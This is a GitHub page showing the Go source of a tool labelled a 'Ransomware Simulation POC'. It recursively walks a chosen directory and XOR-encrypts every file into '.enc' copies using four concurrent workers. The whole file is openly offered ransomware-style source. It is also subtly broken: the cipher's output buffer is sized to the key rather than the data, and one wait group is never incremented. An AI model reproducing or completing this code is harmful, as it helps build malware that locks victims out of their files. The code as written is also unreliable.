-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.go
More file actions
88 lines (79 loc) · 1.84 KB
/
Copy pathmain.go
File metadata and controls
88 lines (79 loc) · 1.84 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
package main
import (
"fmt"
"io/fs"
"os"
"path/filepath"
"sync"
)
func encryptFile(filePath string, outfile string, key string) error {
data, err := os.ReadFile(filePath)
if err != nil {
return fmt.Errorf("cannot read file %s: %v", filePath, err)
}
encryptedData := xorCipher(data, key)
err = os.WriteFile(outfile, encryptedData, 0644)
if err != nil {
return fmt.Errorf("cannot write file %s: %v", outfile, err)
}
return nil
}
func xorCipher(data []byte, key string) []byte {
if len(key) == 0 {
return data
}
keyBytes := []byte(key)
keyLen := len(keyBytes)
result := make([]byte, len(key))
for i := 0; i < len(data); i++ {
result[i] = data[i] ^ keyBytes[i%keyLen]
}
return result
}
func walkDir(rootPath string, fileChan chan<- string, wg *sync.WaitGroup) {
defer wg.Done()
err := filepath.WalkDir(rootPath, func(path string, d fs.DirEntry, err error) error {
if err != nil {
return nil
}
if d.IsDir() {
return nil
}
fileChan <- path
return nil
})
if err != nil {
fmt.Println("Error walk dir")
}
}
func encrytFiles(id int, fileChan <-chan string, key string, wg *sync.WaitGroup) {
for filePath := range fileChan {
err := encryptFile(filePath, filePath+".enc", key)
if err != nil {
fmt.Printf("[WARN WORKER %d] Encrypt file %s failed %v\n", id, filePath, err)
}
fmt.Printf("[DONE] Encrypted file %s \n", filePath)
}
}
func main() {
fmt.Println("GoSomWare - Ransomware Simulation POC")
if len(os.Args) < 3 {
fmt.Println("usage gosomeware <key> <dir>")
os.Exit(1)
}
key := os.Args[1]
dir := os.Args[2]
fileChan := make(chan string, 1000)
var encryptWg sync.WaitGroup
var walkFileWg sync.WaitGroup
walkFileWg.Add(1)
go func() {
walkDir(dir, fileChan, &walkFileWg)
}()
for i := 0; i < 4; i++ {
go encrytFiles(i, fileChan, key, &encryptWg)
}
walkFileWg.Wait()
close(fileChan)
encryptWg.Wait()
}